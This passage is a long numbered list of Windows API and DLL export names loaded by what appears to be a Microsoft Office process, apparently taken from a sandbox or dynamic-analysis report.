  2275. "webservices.dll.WsReadStartElement",
  2276. "webservices.dll.WsReadType",
  2277. "mso.dll.#9307",
  2278. "mso.dll.#1441",
  2279. "mso.dll.#9223",
  2280. "winhttp.dll.WinHttpCloseHandle",
  2281. "crypt32.dll.CertFreeCertificateContext",
  2282. "rpcrt4.dll.RpcBindingFree",
  2283. "webservices.dll.WsFreeReader",
  2284. "webservices.dll.WsFreeError",
  2285. "webservices.dll.WsFreeHeap",
  2286. "webservices.dll.WsCreateServiceProxyFromTemplate",
  2287. "mso.dll.#6453",
  2288. "mso.dll.#8044",
  2289. "mso.dll.#3698",
  2290. "mso.dll.#8565",
  2291. "mso.dll.#8373",
  2292. "mso.dll.#9741",
  2293. "mso.dll.#478",
  2294. "mso.dll.#479",
  2295. "mso.dll.#340",
  2296. "bcrypt.dll.BCryptOpenAlgorithmProvider",
  2297. "winhttp.dll.WinHttpOpenRequest",
  2298. "winhttp.dll.WinHttpAddRequestHeaders",
  2299. "winhttp.dll.WinHttpSendRequest",
  2300. "winhttp.dll.WinHttpConnect",
  2301. "winhttp.dll.WinHttpCrackUrl",
  2302. "winhttp.dll.WinHttpSetStatusCallback",
  2303. "winhttp.dll.WinHttpOpen",
  2304. "winhttp.dll.WinHttpSetOption",
  2305. "winhttp.dll.WinHttpWriteData",
  2306. "winhttp.dll.WinHttpSetCredentials",
  2307. "winhttp.dll.WinHttpQueryAuthSchemes",
  2308. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  2309. "winhttp.dll.WinHttpGetProxyForUrl",
  2310. "winhttp.dll.WinHttpQueryOption",
  2311. "webservices.dll.WsOpenServiceProxy",
  2312. "bcrypt.dll.BCryptGetProperty",
  2313. "bcrypt.dll.BCryptCreateHash",
  2314. "bcrypt.dll.BCryptHashData",
  2315. "bcrypt.dll.BCryptFinishHash",
  2316. "bcrypt.dll.BCryptDestroyHash",
  2317. "bcrypt.dll.BCryptCloseAlgorithmProvider",
  2318. "mso.dll.#8633",
  2319. "mso.dll.#5213",
  2320. "mso.dll.#6163",
  2321. "mso.dll.#552",
  2322. "mso.dll.#5630",
  2323. "mso.dll.#2513",
  2324. "mso.dll.#1607",
  2325. "mso.dll.#1638",
  2326. "webservices.dll.WsCall",
  2327. "mso.dll.#1725",
  2328. "user32.dll.RegisterWindowMessageW",
  2329. "webservices.dll.WsAddCustomHeader",
  2330. "shlwapi.dll.StrStrA",
  2331. "shlwapi.dll.UrlUnescapeA",
  2332. "advapi32.dll.RegQueryValueW",
  2333. "apphelp.dll.ApphelpCheckShellObject",
  2334. "ole32.dll.CoRevokeInitializeSpy",
  2335. "comctl32.dll.#388",
  2336. "mso.dll.#4314",
  2337. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  2338. "mso.dll.#6484",
  2339. "sxs.dll.SxsOleAut32RedirectTypeLibrary",
  2340. "advapi32.dll.RegOpenKeyW",
  2341. "mso.dll.#2183",
  2342. "mso.dll.#2161",
  2343. "vbe7.dll.DllVbeInit",
  2344. "msi.dll.MsiProvideQualifiedComponentA",
  2345. "msi.dll.MsiGetProductCodeA",
  2346. "msi.dll.MsiReinstallFeatureA",
  2347. "msi.dll.MsiProvideComponentA",
  2348. "kernel32.dll.HeapSetInformation",
  2349. "advapi32.dll.EventWrite",
  2350. "advapi32.dll.EventRegister",
  2351. "advapi32.dll.EventUnregister",
  2352. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  2353. "vbeui.dll._MsoVBADigSigCallDlg@20",
  2354. "vbeui.dll._MsoVbaInitSecurity@4",
  2355. "vbeui.dll._MsoFIEPolicyAndVersion@8",
  2356. "vbeui.dll._MsoFAnsiCodePageSupportsLCID@8",
  2357. "vbeui.dll._MsoFInitOffice@20",
  2358. "vbeui.dll._MsoUninitOffice@4",
  2359. "vbeui.dll._MsoFGetFontSettings@20",
  2360. "vbeui.dll._MsoRgchToRgwch@16",
  2361. "vbeui.dll._MsoHrSimpleQueryInterface@16",
  2362. "vbeui.dll._MsoHrSimpleQueryInterface2@20",
  2363. "vbeui.dll._MsoFCreateControl@36",
  2364. "vbeui.dll._MsoFLongLoad@8",
  2365. "vbeui.dll._MsoFLongSave@8",
  2366. "vbeui.dll._MsoFGetTooltips@0",
  2367. "vbeui.dll._MsoFSetTooltips@4",
  2368. "vbeui.dll._MsoFLoadToolbarSet@24",
  2369. "vbeui.dll._MsoFCreateToolbarSet@28",
  2370. "vbeui.dll._MsoHpalOffice@0",
  2371. "vbeui.dll._MsoFWndProcNeeded@4",
  2372. "vbeui.dll._MsoFWndProc@24",
  2373. "vbeui.dll._MsoFCreateITFCHwnd@20",
  2374. "vbeui.dll._MsoDestroyITFC@4",
  2375. "vbeui.dll._MsoFPitbsFromHwndAndMsg@12",
  2376. "vbeui.dll._MsoFGetComponentManager@4",
  2377. "vbeui.dll._MsoMultiByteToWideChar@24",
  2378. "vbeui.dll._MsoWideCharToMultiByte@32",
  2379. "vbeui.dll._MsoHrRegisterAll@0",
  2380. "vbeui.dll._MsoFSetComponentManager@4",
  2381. "vbeui.dll._MsoFCreateStdComponentManager@20",
  2382. "vbeui.dll._MsoFHandledMessageNeeded@4",
  2383. "vbeui.dll._MsoPeekMessage@8",
  2384. "vbeui.dll._MsoFCreateIPref@28",
  2385. "vbeui.dll._MsoDestroyIPref@4",
  2386. "vbeui.dll._MsoChsFromLid@4",
  2387. "vbeui.dll._MsoCpgFromChs@4",
  2388. "vbeui.dll._MsoSetLocale@4",
  2389. "vbeui.dll._MsoFSetHMsoinstOfSdm@4",
  2390. "vbeui.dll._MsoSetVbaInterfaces@8",
  2391. "vbeui.dll._MsoGetControlInstanceId@8",
  2392. "oleaut32.dll.SysFreeString",
  2393. "oleaut32.dll.LoadTypeLib",
  2394. "oleaut32.dll.RegisterTypeLib",
  2395. "oleaut32.dll.QueryPathOfRegTypeLib",
  2396. "oleaut32.dll.UnRegisterTypeLib",
  2397. "oleaut32.dll.OleTranslateColor",
  2398. "oleaut32.dll.OleCreateFontIndirect",
  2399. "oleaut32.dll.OleCreatePictureIndirect",
  2400. "oleaut32.dll.OleLoadPicture",
  2401. "oleaut32.dll.OleCreatePropertyFrameIndirect",
  2402. "oleaut32.dll.OleCreatePropertyFrame",
  2403. "oleaut32.dll.OleIconToCursor",
  2404. "oleaut32.dll.LoadTypeLibEx",
  2405. "oleaut32.dll.OleLoadPictureEx",
  2406. "oleaut32.dll.DispCallFunc",
  2407. "oleaut32.dll.CreateTypeLib2",
  2408. "oleaut32.dll.VarDateFromUdate",
  2409. "oleaut32.dll.VarUdateFromDate",
  2410. "oleaut32.dll.GetAltMonthNames",
  2411. "oleaut32.dll.VarNumFromParseNum",
  2412. "oleaut32.dll.VarParseNumFromStr",
  2413. "oleaut32.dll.VarDecFromR4",
  2414. "oleaut32.dll.VarDecFromR8",
  2415. "oleaut32.dll.VarDecFromDate",
  2416. "oleaut32.dll.VarDecFromI4",
  2417. "oleaut32.dll.VarDecFromCy",
  2418. "oleaut32.dll.VarR4FromDec",
  2419. "oleaut32.dll.GetRecordInfoFromTypeInfo",
  2420. "oleaut32.dll.GetRecordInfoFromGuids",
  2421. "oleaut32.dll.SafeArrayGetRecordInfo",
  2422. "oleaut32.dll.SafeArraySetRecordInfo",
  2423. "oleaut32.dll.SafeArrayGetIID",
  2424. "oleaut32.dll.SafeArraySetIID",
  2425. "oleaut32.dll.SafeArrayCopyData",
  2426. "oleaut32.dll.SafeArrayAllocDescriptorEx",
  2427. "oleaut32.dll.SafeArrayCreateEx",
  2428. "oleaut32.dll.VarFormat",
  2429. "oleaut32.dll.VarFormatDateTime",
  2430. "oleaut32.dll.VarFormatNumber",
  2431. "oleaut32.dll.VarFormatPercent",
  2432. "oleaut32.dll.VarFormatCurrency",
  2433. "oleaut32.dll.VarWeekdayName",
  2434. "oleaut32.dll.VarMonthName",
  2435. "oleaut32.dll.VarAdd",
  2436. "oleaut32.dll.VarAnd",
  2437. "oleaut32.dll.VarCat",
  2438. "oleaut32.dll.VarDiv",
  2439. "oleaut32.dll.VarEqv",
  2440. "oleaut32.dll.VarIdiv",
  2441. "oleaut32.dll.VarImp",
  2442. "oleaut32.dll.VarMod",
  2443. "oleaut32.dll.VarMul",
  2444. "oleaut32.dll.VarOr",
  2445. "oleaut32.dll.VarPow",
  2446. "oleaut32.dll.VarSub",
  2447. "oleaut32.dll.VarXor",
  2448. "oleaut32.dll.VarAbs",
  2449. "oleaut32.dll.VarFix",
  2450. "oleaut32.dll.VarInt",
  2451. "oleaut32.dll.VarNeg",
  2452. "oleaut32.dll.VarNot",
  2453. "oleaut32.dll.VarRound",
  2454. "oleaut32.dll.VarCmp",
  2455. "oleaut32.dll.VarDecAdd",
  2456. "oleaut32.dll.VarDecCmp",
  2457. "oleaut32.dll.VarBstrCat",
  2458. "oleaut32.dll.VarCyMulI4",
  2459. "oleaut32.dll.VarBstrCmp",
  2460. "ole32.dll.CoCreateInstanceEx",
  2461. "ole32.dll.CLSIDFromProgIDEx",
  2462. "mso.dll.#5772",
  2463. "mso.dll.#9885",
  2464. "mso.dll.#8499",
  2465. "mso.dll.#4262",
  2466. "mso.dll.#5512",
  2467. "advapi32.dll.RegEnumKeyW",
  2468. "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
  2469. "mso.dll.#4909",
  2470. "kernel32.dll.GetCalendarInfoW",
  2471. "mso.dll.#615",
  2472. "user32.dll.IsWindow",
  2473. "user32.dll.RedrawWindow",
  2474. "mso.dll.#1144",
  2475. "mso.dll.#1256",
  2476. "vbe7.dll.#716",
  2477. "vbe7.dll.#552",
  2478. "vbe7.dll.#595",
  2479. "vbe7.dll.#666",
  2480. "vbe7.dll.#600",
  2481. "kernel32.dll.GetModuleHandleW",
  2482. "urlmon.dll.DllCanUnloadNow",
  2483. "urlmon.dll.IEDllLoader",
  2484. "urlmon.dll.CoInternetCreateZoneManager",
  2485. "urlmon.dll.CoInternetGetSession",
  2486. "urlmon.dll.CopyBindInfo",
  2487. "urlmon.dll.CreateURLMoniker",
  2488. "urlmon.dll.RegisterBindStatusCallback",
  2489. "urlmon.dll.ReleaseBindInfo",
  2490. "urlmon.dll.RevokeBindStatusCallback",
  2491. "urlmon.dll.UrlMkGetSessionOption",
  2492. "urlmon.dll.CoInternetCreateSecurityManager",
  2493. "urlmon.dll.CreateUri",
  2494. "urlmon.dll.CoInternetCombineUrl",
  2495. "urlmon.dll.CoInternetGetSecurityUrl",
  2496. "urlmon.dll.IsValidURL",
  2497. "wininet.dll.InternetCrackUrlW",
  2498. "wininet.dll.InternetCreateUrlW",
  2499. "user32.dll.GetFocus",
  2500. "mso.dll.#7640",
  2501. "user32.dll.GetScrollRange",
  2502. "mso.dll.#8735",
  2503. "user32.dll.EnableWindow",
  2504. "dwrite.dll.DWriteCreateFactory",
  2505. "user32.dll.GetCapture",
  2506. "dwmapi.dll.DwmIsCompositionEnabled",
  2507. "gdi32.dll.GetCurrentObject",
  2508. "gdi32.dll.BitBlt",
  2509. "gdi32.dll.GetClipBox",
  2510. "gdi32.dll.StretchDIBits",
  2511. "riched20.dll.REExtendedRegisterClass",
  2512. "user32.dll.GetWindowLongW",
  2513. "user32.dll.GetSysColor",
  2514. "user32.dll.SetWindowLongW",
  2515. "user32.dll.RegisterWindowMessageA",
  2516. "user32.dll.RegisterClipboardFormatW",
  2517. "user32.dll.GetDoubleClickTime",
  2518. "user32.dll.SetCaretBlinkTime",
  2519. "user32.dll.SystemParametersInfoW",
  2520. "user32.dll.GetKeyboardLayoutList",
  2521. "mso.dll._MsoGetFidUspDll@0",
  2522. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  2523. "usp10.dll.ScriptGetProperties",
  2524. "usp10.dll.ScriptItemize",
  2525. "user32.dll.LoadCursorW",
  2526. "user32.dll.IsWindowVisible",
  2527. "user32.dll.GetKeyboardLayout",
  2528. "user32.dll.PostMessageW",
  2529. "user32.dll.DefWindowProcW",
  2530. "uxtheme.dll.IsThemeActive",
  2531. "uxtheme.dll.IsAppThemed",
  2532. "uxtheme.dll.OpenThemeData",
  2533. "user32.dll.GetDC",
  2534. "user32.dll.ReleaseDC",
  2535. "user32.dll.IsIconic",
  2536. "user32.dll.GetParent",
  2537. "usp10.dll.ScriptGetCMap",
  2538. "user32.dll.InvalidateRect",
  2539. "user32.dll.HideCaret",
  2540. "user32.dll.ShowCaret",
  2541. "user32.dll.IsWindowUnicode",
  2542. "user32.dll.NotifyWinEvent",
  2543. "user32.dll.GetWindowTextLengthW",
  2544. "msctf.dll.SetInputScope",
  2545. "user32.dll.UpdateWindow",
  2546. "user32.dll.GetWindowRgn",
  2547. "gdi32.dll.CreateCompatibleBitmap",
  2548. "gdi32.dll.SaveDC",
  2549. "gdi32.dll.SetPixel",
  2550. "gdi32.dll.GetPixel",
  2551. "gdi32.dll.RestoreDC",
  2552. "imm32.dll.ImmAssociateContext",
  2553. "cryptnet.dll.CertDllVerifyRevocation",
  2554. "profapi.dll.#104",
  2555. "sensapi.dll.IsNetworkAlive",
  2556. "rpcrt4.dll.RpcBindingFromStringBindingW",
  2557. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  2558. "rpcrt4.dll.NdrClientCall2",
  2559. "winhttp.dll.WinHttpSetTimeouts",
  2560. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  2561. "user32.dll.GetForegroundWindow",
  2562. "user32.dll.GetClassNameA",
  2563. "user32.dll.IsWindowRedirectedForPrint",
  2564. "gdi32.dll.CreateRectRgnIndirect",
  2565. "user32.dll.GetUpdateRgn",
  2566. "gdi32.dll.GetRgnBox",
  2567. "user32.dll.ValidateRect",
  2568. "user32.dll.GetUpdateRect",
  2569. "user32.dll.BeginPaint",
  2570. "user32.dll.EndPaint",
  2571. "mso.dll.#3624",
  2572. "msptls.dll.?LsPointXYFromPointUV@Ptls6@@YGJPBUtagLSPOINT@1@KPBUtagLSPOINTUV@1@PAU21@@Z",
  2573. "msptls.dll.?LsDisplayLine@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINT@1@IPBUtagLSRECT@1@@Z",
  2574. "gdi32.dll.TranslateCharsetInfo",
  2575. "gdi32.dll.GetFontData",
  2576. "mso.dll.#3300",
  2577. "mso.dll.#7465",
  2578. "mso.dll.#6247",
  2579. "mso.dll.#5070",
  2580. "gdiplus.dll.GdipCreatePath",
  2581. "gdiplus.dll.GdipStartPathFigure",
  2582. "gdiplus.dll.GdipAddPathLine2",
  2583. "gdiplus.dll.GdipClosePathFigure",
  2584. "gdiplus.dll.GdipClonePath",
  2585. "gdiplus.dll.GdipCreateMatrix2",
  2586. "gdiplus.dll.GdipTransformPath",
  2587. "gdiplus.dll.GdipDeleteMatrix",
  2588. "gdiplus.dll.GdipAddPathPolygon",
  2589. "gdiplus.dll.GdipGetPathWorldBounds",
  2590. "gdiplus.dll.GdipCreatePen1",
  2591. "gdiplus.dll.GdipSetPenLineCap197819",
  2592. "gdiplus.dll.GdipSetPenLineJoin",
  2593. "gdiplus.dll.GdipSetPenMiterLimit",
  2594. "gdiplus.dll.GdipCreatePathIter",
  2595. "gdiplus.dll.GdipPathIterRewind",
  2596. "gdiplus.dll.GdipPathIterNextSubpath",
  2597. "gdiplus.dll.GdipPathIterCopyData",
  2598. "gdiplus.dll.GdipDeletePathIter",
  2599. "gdiplus.dll.GdipAddPathLine",
  2600. "gdiplus.dll.GdipClonePen",
  2601. "gdiplus.dll.GdipSetPenStartCap",
  2602. "gdiplus.dll.GdipSetPenEndCap",
  2603. "gdiplus.dll.GdipDeletePen",
  2604. "gdiplus.dll.GdipCreateFromHDC",
  2605. "gdiplus.dll.GdipSetPixelOffsetMode",
  2606. "gdiplus.dll.GdipSetSmoothingMode",
  2607. "gdiplus.dll.GdipSetCompositingQuality",
  2608. "gdiplus.dll.GdipSetPageUnit",
  2609. "gdiplus.dll.GdipSetInterpolationMode",
  2610. "gdiplus.dll.GdipGetSmoothingMode",
  2611. "gdiplus.dll.GdipTransformPoints",
  2612. "gdiplus.dll.GdipCreateBitmapFromGraphics",
  2613. "gdiplus.dll.GdipGetImageGraphicsContext",
  2614. "gdiplus.dll.GdipTranslateWorldTransform",
  2615. "gdiplus.dll.GdipCreateImageAttributes",
  2616. "gdiplus.dll.GdipSetImageAttributesWrapMode",
  2617. "gdiplus.dll.GdipGetImageType",
  2618. "gdiplus.dll.GdipGetImageBounds",
  2619. "gdiplus.dll.GdipDrawImagePointsRect",
  2620. "oleaut32.dll.#8",
  2621. "oleaut32.dll.#12",
  2622. "advapi32.dll.RegDeleteTreeW",
  2623. "xmllite.dll.CreateXmlReader",
  2624. "gdiplus.dll.GdipDisposeImageAttributes",
  2625. "gdiplus.dll.GdipDeleteGraphics",
  2626. "gdiplus.dll.GdipCreateCachedBitmap",
  2627. "gdiplus.dll.GdipDrawCachedBitmap",
  2628. "mso.dll.#6899",
  2629. "gdi32.dll.GetClipRgn",
  2630. "gdi32.dll.SelectClipRgn",
  2631. "gdi32.dll.SetWindowOrgEx",
  2632. "comctl32.dll.RegisterClassNameW",
  2633. "uxtheme.dll.EnableThemeDialogTexture",
  2634. "uxtheme.dll.GetThemeBool",
  2635. "gdi32.dll.GdiIsMetaPrintDC",
  2636. "mso.dll.#6900",
  2637. "user32.dll.CallNextHookEx",
  2638. "ole32.dll.CoCreateInstance",
  2639. "uxtheme.dll.BufferedPaintInit",
  2640. "uxtheme.dll.BufferedPaintRenderAnimation",
  2641. "uxtheme.dll.GetThemeTransitionDuration",
  2642. "uxtheme.dll.BeginBufferedAnimation",
  2643. "uxtheme.dll.IsThemeBackgroundPartiallyTransparent",
  2644. "uxtheme.dll.DrawThemeParentBackground",
  2645. "uxtheme.dll.DrawThemeBackground",
  2646. "uxtheme.dll.GetThemeBackgroundContentRect",
  2647. "uxtheme.dll.DrawThemeText",
  2648. "uxtheme.dll.EndBufferedAnimation",
  2649. "shlwapi.dll.StrStrIW",
  2650. "winhttp.dll.WinHttpTimeFromSystemTime",
  2651. "cryptnet.dll.I_CryptNetGetConnectivity",
  2652. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  2653. "setupapi.dll.SetupIterateCabinetW",
  2654. "kernel32.dll.RegOpenKeyExW",
  2655. "kernel32.dll.RegCloseKey",
  2656. "cabinet.dll.#20",
  2657. "cabinet.dll.#22",
  2658. "devrtl.dll.DevRtlGetThreadLogToken",
  2659. "cryptsp.dll.CryptSetHashParam",
  2660. "sechost.dll.QueryServiceConfigA",
  2661. "sechost.dll.QueryServiceStatus",
  2662. "rpcrt4.dll.RpcStringBindingComposeA",
  2663. "rpcrt4.dll.RpcBindingFromStringBindingA",
  2664. "rpcrt4.dll.RpcEpResolveBinding",
  2665. "sechost.dll.LookupAccountSidLocalW",
  2666. "rpcrt4.dll.RpcStringFreeA",
  2667. "webservices.dll.WsResetHeap",
  2668. "webservices.dll.WsCloseServiceProxy",
  2669. "ws2_32.dll.#3",
  2670. "webservices.dll.WsFreeServiceProxy",
  2671. "ncrypt.dll.SslDecrementProviderReferenceCount",
  2672. "ncrypt.dll.SslFreeObject",
  2673. "user32.dll.RegisterPowerSettingNotification",
  2674. "powrprof.dll.PowerSettingRegisterNotification",
  2675. "user32.dll.GetWindowThreadProcessId",
  2676. "user32.dll.GetWindowTextW",
  2677. "uxtheme.dll.CloseThemeData",
  2678. "uxtheme.dll.BufferedPaintStopAllAnimations",
  2679. "uxtheme.dll.BufferedPaintUnInit",
  2680. "advapi32.dll.AddMandatoryAce",
  2681. "version.dll.GetFileVersionInfoSizeW",
  2682. "version.dll.GetFileVersionInfoW",
  2683. "version.dll.VerQueryValueW",
  2684. "kernel32.dll.IsWow64Process",
  2685. "rasapi32.dll.RasConnectionNotificationW",
  2686. "sechost.dll.NotifyServiceStatusChangeA",
  2687. "nlaapi.dll.NSPStartup",
  2688. "iphlpapi.dll.GetAdapterIndex",
  2689. "urlmon.dll.CoInternetIsFeatureEnabledForUrl",
  2690. "ole32.dll.CoTaskMemFree",
  2691. "ole32.dll.CoTaskMemAlloc",
  2692. "ole32.dll.CoInitializeEx",
  2693. "ole32.dll.CoUninitialize",
  2694. "mso.dll.#4215",
  2695. "mso.dll.#8200",
  2696. "mso.dll.#382",
  2697. "mso.dll.#2025",
  2698. "mso.dll.#791",
  2699. "mso.dll.#1848",
  2700. "mso.dll.#9374",
  2701. "ole32.dll.CoGetCallState",
  2702. "ole32.dll.CoGetActivationState",
  2703. "advapi32.dll.RegisterWaitChainCOMCallback",
  2704. "mso.dll.#5286",
  2705. "mso.dll.#6368",
  2706. "mso.dll.#1010",
  2707. "mso.dll.#7979",
  2708. "mso.dll.#8549",
  2709. "mso.dll.#2863",
  2710. "mso.dll.#8970",
  2711. "mso.dll.#9198",
  2712. "mso.dll.#4795",
  2713. "mso.dll.#1865",
  2714. "mso.dll.#9688",
  2715. "mso.dll.#320",
  2716. "advapi32.dll.RegDeleteKeyA",
  2717. "user32.dll.DestroyCursor",
  2718. "mso.dll.#7173",
  2719. "mso.dll.#8511",
  2720. "mso.dll.#3299",
  2721. "mso.dll.#7001",
  2722. "mso.dll.#8140",
  2723. "mso.dll.#3913",
  2724. "user32.dll.PeekMessageA",
  2725. "mso.dll.#1380",
  2726. "mso.dll.#9500",
  2727. "user32.dll.TranslateMessage",
  2728. "user32.dll.DispatchMessageW",
  2729. "user32.dll.SetCursor",
  2730. "mso.dll.#434",
  2731. "user32.dll.GetMessageExtraInfo",
  2732. "user32.dll.GetCursorInfo",
  2733. "user32.dll.TrackMouseEvent",
  2734. "user32.dll.GetDesktopWindow",
  2735. "user32.dll.WindowFromPoint",
  2736. "user32.dll.FindWindowExW",
  2737. "user32.dll.GetMessagePos",
  2738. "user32.dll.ScreenToClient",
  2739. "user32.dll.GetWindowDC",
  2740. "gdi32.dll.SetLayout",
  2741. "gdi32.dll.RectVisible",
  2742. "gdi32.dll.ExcludeClipRect",
  2743. "mso.dll.#8662",
  2744. "mso.dll.#1575",
  2745. "mso.dll.#5034",
  2746. "mso.dll.#1517",
  2747. "mso.dll.#718",
  2748. "mso.dll.#4708",
  2749. "mso.dll.#4175",
  2750. "mso.dll.#8672",
  2751. "mso.dll.#1990",
  2752. "mso.dll.#3051",
  2753. "mso.dll.#1819",
  2754. "mso.dll.#1419",
  2755. "oleaut32.dll.#147",
  2756. "mso.dll.#806",
  2757. "mso.dll.#4908",
  2758. "user32.dll.SetRect",
  2759. "mso.dll.#8439",
  2760. "mso.dll.#2736",
  2761. "gdi32.dll.GetTextAlign",
  2762. "gdi32.dll.ExtTextOutW",
  2763. "mso.dll.#8122",
  2764. "mso.dll.#2114",
  2765. "mso.dll.#6558",
  2766. "usp10.dll.ScriptItemizeOpenType",
  2767. "usp10.dll.ScriptShapeOpenType",
  2768. "usp10.dll.ScriptPlaceOpenType",
  2769. "mso.dll.#8395",
  2770. "mso.dll.#379",
  2771. "mso.dll.#6338",
  2772. "mso.dll.#7964",
  2773. "mso.dll.#1437",
  2774. "mso.dll.#1427",
  2775. "mso.dll.#6137",
  2776. "winmm.dll.timeGetTime",
  2777. "mso.dll.#5940",
  2778. "usp10.dll.ScriptPlace",
  2779. "usp10.dll.ScriptShape",
  2780. "usp10.dll.ScriptJustify",
  2781. "usp10.dll.ScriptTextOut",
  2782. "usp10.dll.ScriptCPtoX",
  2783. "usp10.dll.ScriptXtoCP",
  2784. "usp10.dll.ScriptFreeCache",
  2785. "usp10.dll.ScriptCacheGetHeight",
  2786. "usp10.dll.ScriptLayout",
  2787. "usp10.dll.ScriptBreak",
  2788. "usp10.dll.ScriptIsComplex",
  2789. "usp10.dll.ScriptGetLogicalWidths",
  2790. "usp10.dll.ScriptApplyLogicalWidth",
  2791. "usp10.dll.ScriptGetGlyphABCWidth",
  2792. "usp10.dll.ScriptGetFontProperties",
  2793. "usp10.dll.ScriptApplyDigitSubstitution",
  2794. "usp10.dll.ScriptRecordDigitSubstitution",
  2795. "usp10.dll.ScriptGetFontAlternateGlyphs",
  2796. "mso.dll.#7578",
  2797. "mso.dll.#8483",
  2798. "mso.dll.#2613",
  2799. "mso.dll.#7848",
  2800. "mso.dll.#999",
  2801. "mso.dll.#287",
  2802. "mso.dll.#732",
  2803. "mso.dll.#5804",
  2804. "mso.dll.#2155",
  2805. "mso.dll.#9465",
  2806. "user32.dll.DispatchMessageA",
  2807. "user32.dll.GetInputState",
  2808. "mso.dll.#8461",
  2809. "user32.dll.GetClipboardOwner",
  2810. "user32.dll.GetActiveWindow",
  2811. "user32.dll.GetAncestor",
  2812. "mso.dll.#3544",
  2813. "user32.dll.SendNotifyMessageW",
  2814. "mso.dll.#900",
  2815. "mso.dll.#1422",
  2816. "user32.dll.MsgWaitForMultipleObjectsEx",
  2817. "advapi32.dll.NotifyServiceStatusChangeW",
  2818. "mso.dll.#4746",
  2819. "mso.dll.#1885",
  2820. "msptls.dll.?LsEnumLine@Ptls6@@YGJPAVCLsLine@1@HHPBUtagLSPOINT@1@@Z",
  2821. "mso.dll.#832",
  2822. "user32.dll.IsHungAppWindow",
  2823. "mso.dll.#4702",
  2824. "user32.dll.IsClipboardFormatAvailable",
  2825. "mso.dll.#1266",
  2826. "gdi32.dll.GetStockObject",
  2827. "mso.dll.#6501",
  2828. "riched20.dll.REMSOHInst",
  2829. "mso.dll.#511",
  2830. "user32.dll.SetFocus",
  2831. "mso.dll.#8118",
  2832. "gdi32.dll.GetGlyphIndicesW",
  2833. "mso.dll.#8705",
  2834. "mso.dll.#8060",
  2835. "mso.dll.#844",
  2836. "mso.dll.#3702",
  2837. "mso.dll.#3484",
  2838. "mso.dll.#1966",
  2839. "mso.dll.#6960",
  2840. "mso.dll.#7892",
  2841. "msi.dll.#39",
  2842. "advapi32.dll.CryptAcquireContextA",
  2843. "advapi32.dll.CryptGenKey",
  2844. "cryptsp.dll.CryptGenKey",
  2845. "advapi32.dll.CryptImportKey",
  2846. "cryptsp.dll.CryptImportKey",
  2847. "advapi32.dll.CryptExportKey",
  2848. "cryptsp.dll.CryptExportKey",
  2849. "advapi32.dll.CryptDestroyKey",
  2850. "mso.dll.#7931",
  2851. "mso.dll.#3837",
  2852. "mso.dll.#8574",
  2853. "mso.dll.#8398",
  2854. "mso.dll.#2477",
  2855. "msproof7.dll.DllGetClassObject",
  2856. "msproof7.dll.DllCanUnloadNow",
  2857. "mso.dll.#4172",
  2858. "mso.dll.#1439",
  2859. "mso.dll.#9566",
  2860. "mso.dll.#111",
  2861. "mso.dll.#4191",
  2862. "mso.dll.#3802",
  2863. "mso.dll.#6982",
  2864. "mso.dll.#8800",
  2865. "mso.dll.#3572",
  2866. "mso.dll.#167",
  2867. "mso.dll.#5737",
  2868. "mso.dll.#590",
  2869. "mso.dll.#3758",
  2870. "kernel32.dll.FlsAlloc",
  2871. "kernel32.dll.FlsGetValue",
  2872. "kernel32.dll.FlsSetValue",
  2873. "kernel32.dll.FlsFree",
  2874. "msgr3en.dll.CheckVersion",
  2875. "msgr3en.dll.#29",
  2876. "msgr3en.dll.#30",
  2877. "msgr3en.dll.#31",
  2878. "msgr3en.dll.#32",
  2879. "msgr3en.dll.#33",
  2880. "msgr3en.dll.#34",
  2881. "msgr3en.dll.#35",
  2882. "msgr3en.dll.#45",
  2883. "msgr3en.dll.#46",
  2884. "msgr3en.dll.#47",
  2885. "msgr3en.dll.#48",
  2886. "msgr3en.dll.#51",
  2887. "msgr3en.dll.#50",
  2888. "msgr3en.dll.#49",
  2889. "msgr3en.dll.#43",
  2890. "msgr3en.dll.#41",
  2891. "msgr3en.dll.#42",
  2892. "msgr3en.dll.#44",
  2893. "msgr3en.dll.#39",
  2894. "msgr3en.dll.#40",
  2895. "msgr3en.dll.#36",
  2896. "msgr3en.dll.#38",
  2897. "msgr3en.dll.#37",
  2898. "msgr3en.dll.#56",
  2899. "msgr3en.dll.#52",
  2900. "msgr3en.dll.#53",
  2901. "msgr3en.dll.#57",
  2902. "msgr3en.dll.#58",
  2903. "msgr3en.dll.#59",
  2904. "user32.dll.LoadStringA",
  2905. "mso.dll.#2561",
  2906. "mso.dll.#1566",
  2907. "advapi32.dll.CryptCreateHash",
  2908. "advapi32.dll.CryptSetHashParam",
  2909. "advapi32.dll.CryptHashData",
  2910. "advapi32.dll.CryptGetHashParam",
  2911. "cryptsp.dll.CryptGetHashParam",
  2912. "advapi32.dll.CryptDestroyHash",
  2913. "ieawsdc.dll.HrExtractTemplateToPath",
  2914. "user32.dll.GetClassNameW",
  2915. "user32.dll.GetScrollPos",
  2916. "mso.dll.#629",
  2917. "msi.dll.#90",
  2918. "advapi32.dll.RegDeleteValueW",
  2919. "crypt32.dll.CryptQueryObject",
  2920. "wintrust.dll.CryptSIPPutSignedDataMsg",
  2921. "wintrust.dll.CryptSIPGetSignedDataMsg",
  2922. "cryptsp.dll.CryptGetDefaultProviderW",
  2923. "cryptsp.dll.CryptAcquireContextW",
  2924. "crypt32.dll.CertEnumCertificatesInStore",
  2925. "crypt32.dll.CryptVerifyCertificateSignatureEx",
  2926. "cryptsp.dll.CryptReleaseContext",
  2927. "wintrust.dll.WinVerifyTrust",
  2928. "wintrust.dll.WintrustCertificateTrust",
  2929. "wintrust.dll.SoftpubAuthenticode",
  2930. "wintrust.dll.SoftpubInitialize",
  2931. "wintrust.dll.SoftpubLoadMessage",
  2932. "wintrust.dll.SoftpubLoadSignature",
  2933. "wintrust.dll.SoftpubCheckCert",
  2934. "wintrust.dll.SoftpubCleanup",
  2935. "wintrust.dll.CryptSIPVerifyIndirectData",
  2936. "user32.dll.GetWindowContextHelpId",
  2937. "kernel32.dll.VirtualAlloc",
  2938. "kernel32.dll.VirtualProtect",
  2939. "kernel32.dll.LoadLibraryA",
  2940. "kernel32.dll.VirtualFree",
